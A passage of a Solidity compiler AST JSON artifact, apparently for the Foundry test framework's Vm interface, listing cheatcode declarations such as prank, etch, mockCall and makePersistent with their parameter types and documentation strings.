","nodes":[],"documentation":{"id":15194,"nodeType":"StructuredDocumentation","src":"73741:227:13","text":"Removes the snapshot with the given ID created by `snapshot`.\n Takes the snapshot ID to delete.\n Returns `true` if the snapshot was successfully deleted.\n Returns `false` if the snapshot does not exist."},"functionSelector":"a6368557","implemented":false,"kind":"function","modifiers":[],"name":"deleteSnapshot","nameLocation":"73982:14:13","parameters":{"id":15197,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15196,"mutability":"mutable","name":"snapshotId","nameLocation":"74005:10:13","nodeType":"VariableDeclaration","scope":15201,"src":"73997:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15195,"name":"uint256","nodeType":"ElementaryTypeName","src":"73997:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73996:20:13"},"returnParameters":{"id":15200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15199,"mutability":"mutable","name":"success","nameLocation":"74040:7:13","nodeType":"VariableDeclaration","scope":15201,"src":"74035:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15198,"name":"bool","nodeType":"ElementaryTypeName","src":"74035:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"74034:14:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15205,"nodeType":"FunctionDefinition","src":"74121:36:13","nodes":[],"documentation":{"id":15202,"nodeType":"StructuredDocumentation","src":"74055:61:13","text":"Removes _all_ snapshots previously created by `snapshot`."},"functionSelector":"421ae469","implemented":false,"kind":"function","modifiers":[],"name":"deleteSnapshots","nameLocation":"74130:15:13","parameters":{"id":15203,"nodeType":"ParameterList","parameters":[],"src":"74145:2:13"},"returnParameters":{"id":15204,"nodeType":"ParameterList","parameters":[],"src":"74156:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15211,"nodeType":"FunctionDefinition","src":"74333:52:13","nodes":[],"documentation":{"id":15206,"nodeType":"StructuredDocumentation","src":"74163:165:13","text":"Sets `block.difficulty`.\n Not available on EVM versions from Paris onwards. Use `prevrandao` instead.\n Reverts if used on unsupported EVM versions."},"functionSelector":"46cc92d9","implemented":false,"kind":"function","modifiers":[],"name":"difficulty","nameLocation":"74342:10:13","parameters":{"id":15209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15208,"mutability":"mutable","name":"newDifficulty","nameLocation":"74361:13:13","nodeType":"VariableDeclaration","scope":15211,"src":"74353:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15207,"name":"uint256","nodeType":"ElementaryTypeName","src":"74353:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"74352:23:13"},"returnParameters":{"id":15210,"nodeType":"ParameterList","parameters":[],"src":"74384:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15217,"nodeType":"FunctionDefinition","src":"74444:61:13","nodes":[],"documentation":{"id":15212,"nodeType":"StructuredDocumentation","src":"74391:48:13","text":"Dump a genesis JSON file's `allocs` to disk."},"functionSelector":"709ecd3f","implemented":false,"kind":"function","modifiers":[],"name":"dumpState","nameLocation":"74453:9:13","parameters":{"id":15215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15214,"mutability":"mutable","name":"pathToStateJson","nameLocation":"74479:15:13","nodeType":"VariableDeclaration","scope":15217,"src":"74463:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15213,"name":"string","nodeType":"ElementaryTypeName","src":"74463:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"74462:33:13"},"returnParameters":{"id":15216,"nodeType":"ParameterList","parameters":[],"src":"74504:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15225,"nodeType":"FunctionDefinition","src":"74542:74:13","nodes":[],"documentation":{"id":15218,"nodeType":"StructuredDocumentation","src":"74511:26:13","text":"Sets an address' code."},"functionSelector":"b4d6c782","implemented":false,"kind":"function","modifiers":[],"name":"etch","nameLocation":"74551:4:13","parameters":{"id":15223,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15220,"mutability":"mutable","name":"target","nameLocation":"74564:6:13","nodeType":"VariableDeclaration","scope":15225,"src":"74556:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15219,"name":"address","nodeType":"ElementaryTypeName","src":"74556:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15222,"mutability":"mutable","name":"newRuntimeBytecode","nameLocation":"74587:18:13","nodeType":"VariableDeclaration","scope":15225,"src":"74572:33:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15221,"name":"bytes","nodeType":"ElementaryTypeName","src":"74572:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"74555:51:13"},"returnParameters":{"id":15224,"nodeType":"ParameterList","parameters":[],"src":"74615:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15231,"nodeType":"FunctionDefinition","src":"74652:42:13","nodes":[],"documentation":{"id":15226,"nodeType":"StructuredDocumentation","src":"74622:25:13","text":"Sets `block.basefee`."},"functionSelector":"39b37ab0","implemented":false,"kind":"function","modifiers":[],"name":"fee","nameLocation":"74661:3:13","parameters":{"id":15229,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15228,"mutability":"mutable","name":"newBasefee","nameLocation":"74673:10:13","nodeType":"VariableDeclaration","scope":15231,"src":"74665:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15227,"name":"uint256","nodeType":"ElementaryTypeName","src":"74665:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"74664:20:13"},"returnParameters":{"id":15230,"nodeType":"ParameterList","parameters":[],"src":"74693:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15239,"nodeType":"FunctionDefinition","src":"74761:79:13","nodes":[],"documentation":{"id":15232,"nodeType":"StructuredDocumentation","src":"74700:56:13","text":"Returns true if the account is marked as persistent."},"functionSelector":"d92d8efd","implemented":false,"kind":"function","modifiers":[],"name":"isPersistent","nameLocation":"74770:12:13","parameters":{"id":15235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15234,"mutability":"mutable","name":"account","nameLocation":"74791:7:13","nodeType":"VariableDeclaration","scope":15239,"src":"74783:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15233,"name":"address","nodeType":"ElementaryTypeName","src":"74783:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"74782:17:13"},"returnParameters":{"id":15238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15237,"mutability":"mutable","name":"persistent","nameLocation":"74828:10:13","nodeType":"VariableDeclaration","scope":15239,"src":"74823:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15236,"name":"bool","nodeType":"ElementaryTypeName","src":"74823:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"74822:17:13"},"scope":15673,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":15245,"nodeType":"FunctionDefinition","src":"74921:63:13","nodes":[],"documentation":{"id":15240,"nodeType":"StructuredDocumentation","src":"74846:70:13","text":"Load a genesis JSON file's `allocs` into the in-memory revm state."},"functionSelector":"b3a056d7","implemented":false,"kind":"function","modifiers":[],"name":"loadAllocs","nameLocation":"74930:10:13","parameters":{"id":15243,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15242,"mutability":"mutable","name":"pathToAllocsJson","nameLocation":"74957:16:13","nodeType":"VariableDeclaration","scope":15245,"src":"74941:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15241,"name":"string","nodeType":"ElementaryTypeName","src":"74941:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"74940:34:13"},"returnParameters":{"id":15244,"nodeType":"ParameterList","parameters":[],"src":"74983:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15251,"nodeType":"FunctionDefinition","src":"75187:50:13","nodes":[],"documentation":{"id":15246,"nodeType":"StructuredDocumentation","src":"74990:192:13","text":"Marks that the account(s) should use persistent storage across fork swaps in a multifork setup\n Meaning, changes made to the state of this account will be kept when switching forks."},"functionSelector":"57e22dde","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75196:14:13","parameters":{"id":15249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15248,"mutability":"mutable","name":"account","nameLocation":"75219:7:13","nodeType":"VariableDeclaration","scope":15251,"src":"75211:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15247,"name":"address","nodeType":"ElementaryTypeName","src":"75211:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"75210:17:13"},"returnParameters":{"id":15250,"nodeType":"ParameterList","parameters":[],"src":"75236:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15259,"nodeType":"FunctionDefinition","src":"75282:69:13","nodes":[],"documentation":{"id":15252,"nodeType":"StructuredDocumentation","src":"75243:34:13","text":"See `makePersistent(address)`."},"functionSelector":"4074e0a8","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75291:14:13","parameters":{"id":15257,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15254,"mutability":"mutable","name":"account0","nameLocation":"75314:8:13","nodeType":"VariableDeclaration","scope":15259,"src":"75306:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15253,"name":"address","nodeType":"ElementaryTypeName","src":"75306:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15256,"mutability":"mutable","name":"account1","nameLocation":"75332:8:13","nodeType":"VariableDeclaration","scope":15259,"src":"75324:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15255,"name":"address","nodeType":"ElementaryTypeName","src":"75324:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"75305:36:13"},"returnParameters":{"id":15258,"nodeType":"ParameterList","parameters":[],"src":"75350:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15269,"nodeType":"FunctionDefinition","src":"75396:87:13","nodes":[],"documentation":{"id":15260,"nodeType":"StructuredDocumentation","src":"75357:34:13","text":"See `makePersistent(address)`."},"functionSelector":"efb77a75","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75405:14:13","parameters":{"id":15267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15262,"mutability":"mutable","name":"account0","nameLocation":"75428:8:13","nodeType":"VariableDeclaration","scope":15269,"src":"75420:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15261,"name":"address","nodeType":"ElementaryTypeName","src":"75420:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15264,"mutability":"mutable","name":"account1","nameLocation":"75446:8:13","nodeType":"VariableDeclaration","scope":15269,"src":"75438:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15263,"name":"address","nodeType":"ElementaryTypeName","src":"75438:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15266,"mutability":"mutable","name":"account2","nameLocation":"75464:8:13","nodeType":"VariableDeclaration","scope":15269,"src":"75456:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15265,"name":"address","nodeType":"ElementaryTypeName","src":"75456:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"75419:54:13"},"returnParameters":{"id":15268,"nodeType":"ParameterList","parameters":[],"src":"75482:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15276,"nodeType":"FunctionDefinition","src":"75528:62:13","nodes":[],"documentation":{"id":15270,"nodeType":"StructuredDocumentation","src":"75489:34:13","text":"See `makePersistent(address)`."},"functionSelector":"1d9e269e","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75537:14:13","parameters":{"id":15274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15273,"mutability":"mutable","name":"accounts","nameLocation":"75571:8:13","nodeType":"VariableDeclaration","scope":15276,"src":"75552:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":15271,"name":"address","nodeType":"ElementaryTypeName","src":"75552:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":15272,"nodeType":"ArrayTypeName","src":"75552:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"75551:29:13"},"returnParameters":{"id":15275,"nodeType":"ParameterList","parameters":[],"src":"75589:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15286,"nodeType":"FunctionDefinition","src":"75661:97:13","nodes":[],"documentation":{"id":15277,"nodeType":"StructuredDocumentation","src":"75596:60:13","text":"Reverts a call to an address with specified revert data."},"functionSelector":"dbaad147","implemented":false,"kind":"function","modifiers":[],"name":"mockCallRevert","nameLocation":"75670:14:13","parameters":{"id":15284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15279,"mutability":"mutable","name":"callee","nameLocation":"75693:6:13","nodeType":"VariableDeclaration","scope":15286,"src":"75685:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15278,"name":"address","nodeType":"ElementaryTypeName","src":"75685:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15281,"mutability":"mutable","name":"data","nameLocation":"75716:4:13","nodeType":"VariableDeclaration","scope":15286,"src":"75701:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15280,"name":"bytes","nodeType":"ElementaryTypeName","src":"75701:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15283,"mutability":"mutable","name":"revertData","nameLocation":"75737:10:13","nodeType":"VariableDeclaration","scope":15286,"src":"75722:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15282,"name":"bytes","nodeType":"ElementaryTypeName","src":"75722:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"75684:64:13"},"returnParameters":{"id":15285,"nodeType":"ParameterList","parameters":[],"src":"75757:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15298,"nodeType":"FunctionDefinition","src":"75858:123:13","nodes":[],"documentation":{"id":15287,"nodeType":"StructuredDocumentation","src":"75764:89:13","text":"Reverts a call to an address with a specific `msg.value`, with specified revert data."},"functionSelector":"d23cd037","implemented":false,"kind":"function","modifiers":[],"name":"mockCallRevert","nameLocation":"75867:14:13","parameters":{"id":15296,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15289,"mutability":"mutable","name":"callee","nameLocation":"75890:6:13","nodeType":"VariableDeclaration","scope":15298,"src":"75882:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15288,"name":"address","nodeType":"ElementaryTypeName","src":"75882:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15291,"mutability":"mutable","name":"msgValue","nameLocation":"75906:8:13","nodeType":"VariableDeclaration","scope":15298,"src":"75898:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15290,"name":"uint256","nodeType":"ElementaryTypeName","src":"75898:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15293,"mutability":"mutable","name":"data","nameLocation":"75931:4:13","nodeType":"VariableDeclaration","scope":15298,"src":"75916:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15292,"name":"bytes","nodeType":"ElementaryTypeName","src":"75916:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15295,"mutability":"mutable","name":"revertData","nameLocation":"75952:10:13","nodeType":"VariableDeclaration","scope":15298,"src":"75937:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15294,"name":"bytes","nodeType":"ElementaryTypeName","src":"75937:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"75881:82:13"},"returnParameters":{"id":15297,"nodeType":"ParameterList","parameters":[],"src":"75980:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15308,"nodeType":"FunctionDefinition","src":"76241:91:13","nodes":[],"documentation":{"id":15299,"nodeType":"StructuredDocumentation","src":"75987:249:13","text":"Mocks a call to an address, returning specified data.\n Calldata can either be strict or a partial match, e.g. if you only\n pass a Solidity selector to the expected calldata, then the entire Solidity\n function will be mocked."},"functionSelector":"b96213e4","implemented":false,"kind":"function","modifiers":[],"name":"mockCall","nameLocation":"76250:8:13","parameters":{"id":15306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15301,"mutability":"mutable","name":"callee","nameLocation":"76267:6:13","nodeType":"VariableDeclaration","scope":15308,"src":"76259:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15300,"name":"address","nodeType":"ElementaryTypeName","src":"76259:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15303,"mutability":"mutable","name":"data","nameLocation":"76290:4:13","nodeType":"VariableDeclaration","scope":15308,"src":"76275:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15302,"name":"bytes","nodeType":"ElementaryTypeName","src":"76275:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15305,"mutability":"mutable","name":"returnData","nameLocation":"76311:10:13","nodeType":"VariableDeclaration","scope":15308,"src":"76296:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15304,"name":"bytes","nodeType":"ElementaryTypeName","src":"76296:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"76258:64:13"},"returnParameters":{"id":15307,"nodeType":"ParameterList","parameters":[],"src":"76331:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15320,"nodeType":"FunctionDefinition","src":"76507:109:13","nodes":[],"documentation":{"id":15309,"nodeType":"StructuredDocumentation","src":"76338:164:13","text":"Mocks a call to an address with a specific `msg.value`, returning specified data.\n Calldata match takes precedence over `msg.value` in case of ambiguity."},"functionSelector":"81409b91","implemented":false,"kind":"function","modifiers":[],"name":"mockCall","nameLocation":"76516:8:13","parameters":{"id":15318,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15311,"mutability":"mutable","name":"callee","nameLocation":"76533:6:13","nodeType":"VariableDeclaration","scope":15320,"src":"76525:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15310,"name":"address","nodeType":"ElementaryTypeName","src":"76525:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15313,"mutability":"mutable","name":"msgValue","nameLocation":"76549:8:13","nodeType":"VariableDeclaration","scope":15320,"src":"76541:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15312,"name":"uint256","nodeType":"ElementaryTypeName","src":"76541:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15315,"mutability":"mutable","name":"data","nameLocation":"76574:4:13","nodeType":"VariableDeclaration","scope":15320,"src":"76559:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15314,"name":"bytes","nodeType":"ElementaryTypeName","src":"76559:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15317,"mutability":"mutable","name":"returnData","nameLocation":"76595:10:13","nodeType":"VariableDeclaration","scope":15320,"src":"76580:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15316,"name":"bytes","nodeType":"ElementaryTypeName","src":"76580:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"76524:82:13"},"returnParameters":{"id":15319,"nodeType":"ParameterList","parameters":[],"src":"76615:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15326,"nodeType":"FunctionDefinition","src":"76691:43:13","nodes":[],"documentation":{"id":15321,"nodeType":"StructuredDocumentation","src":"76622:64:13","text":"Sets the *next* call's `msg.sender` to be the input address."},"functionSelector":"ca669fa7","implemented":false,"kind":"function","modifiers":[],"name":"prank","nameLocation":"76700:5:13","parameters":{"id":15324,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15323,"mutability":"mutable","name":"msgSender","nameLocation":"76714:9:13","nodeType":"VariableDeclaration","scope":15326,"src":"76706:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15322,"name":"address","nodeType":"ElementaryTypeName","src":"76706:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"76705:19:13"},"returnParameters":{"id":15325,"nodeType":"ParameterList","parameters":[],"src":"76733:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15334,"nodeType":"FunctionDefinition","src":"76853:61:13","nodes":[],"documentation":{"id":15327,"nodeType":"StructuredDocumentation","src":"76740:108:13","text":"Sets the *next* call's `msg.sender` to be the input address, and the `tx.origin` to be the second input."},"functionSelector":"47e50cce","implemented":false,"kind":"function","modifiers":[],"name":"prank","nameLocation":"76862:5:13","parameters":{"id":15332,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15329,"mutability":"mutable","name":"msgSender","nameLocation":"76876:9:13","nodeType":"VariableDeclaration","scope":15334,"src":"76868:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15328,"name":"address","nodeType":"ElementaryTypeName","src":"76868:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15331,"mutability":"mutable","name":"txOrigin","nameLocation":"76895:8:13","nodeType":"VariableDeclaration","scope":15334,"src":"76887:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15330,"name":"address","nodeType":"ElementaryTypeName","src":"76887:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"76867:37:13"},"returnParameters":{"id":15333,"nodeType":"ParameterList","parameters":[],"src":"76913:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15340,"nodeType":"FunctionDefinition","src":"77091:52:13","nodes":[],"documentation":{"id":15335,"nodeType":"StructuredDocumentation","src":"76920:166:13","text":"Sets `block.prevrandao`.\n Not available on EVM versions before Paris. Use `difficulty` instead.\n If used on unsupported EVM versions it will revert."},"functionSelector":"3b925549","implemented":false,"kind":"function","modifiers":[],"name":"prevrandao","nameLocation":"77100:10:13","parameters":{"id":15338,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15337,"mutability":"mutable","name":"newPrevrandao","nameLocation":"77119:13:13","nodeType":"VariableDeclaration","scope":15340,"src":"77111:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15336,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77111:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"77110:23:13"},"returnParameters":{"id":15339,"nodeType":"ParameterList","parameters":[],"src":"77142:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15351,"nodeType":"FunctionDefinition","src":"77271:101:13","nodes":[],"documentation":{"id":15341,"nodeType":"StructuredDocumentation","src":"77149:117:13","text":"Reads the current `msg.sender` and `tx.origin` from state and reports if there is any active caller modification."},"functionSelector":"4ad0bac9","implemented":false,"kind":"function","modifiers":[],"name":"readCallers","nameLocation":"77280:11:13","parameters":{"id":15342,"nodeType":"ParameterList","parameters":[],"src":"77291:2:13"},"returnParameters":{"id":15350,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15345,"mutability":"mutable","name":"callerMode","nameLocation":"77323:10:13","nodeType":"VariableDeclaration","scope":15351,"src":"77312:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_CallerMode_$12038","typeString":"enum VmSafe.CallerMode"},"typeName":{"id":15344,"nodeType":"UserDefinedTypeName","pathNode":{"id":15343,"name":"CallerMode","nameLocations":["77312:10:13"],"nodeType":"IdentifierPath","referencedDeclaration":12038,"src":"77312:10:13"},"referencedDeclaration":12038,"src":"77312:10:13","typeDescriptions":{"typeIdentifier":"t_enum$_CallerMode_$12038","typeString":"enum VmSafe.CallerMode"}},"visibility":"internal"},{"constant":false,"id":15347,"mutability":"mutable","name":"msgSender","nameLocation":"77343:9:13","nodeType":"VariableDeclaration","scope":15351,"src":"77335:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15346,"name":"address","nodeType":"ElementaryTypeName","src":"77335:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15349,"mutability":"mutable","name":"txOrigin","nameLocation":"77362:8:13","nodeType":"VariableDeclaration","scope":15351,"src":"77354:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15348,"name":"address","nodeType":"ElementaryTypeName","src":"77354:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"77311:60:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15357,"nodeType":"FunctionDefinition","src":"77460:46:13","nodes":[],"documentation":{"id":15352,"nodeType":"StructuredDocumentation","src":"77378:77:13","text":"Resets the nonce of an account to 0 for EOAs and 1 for contract 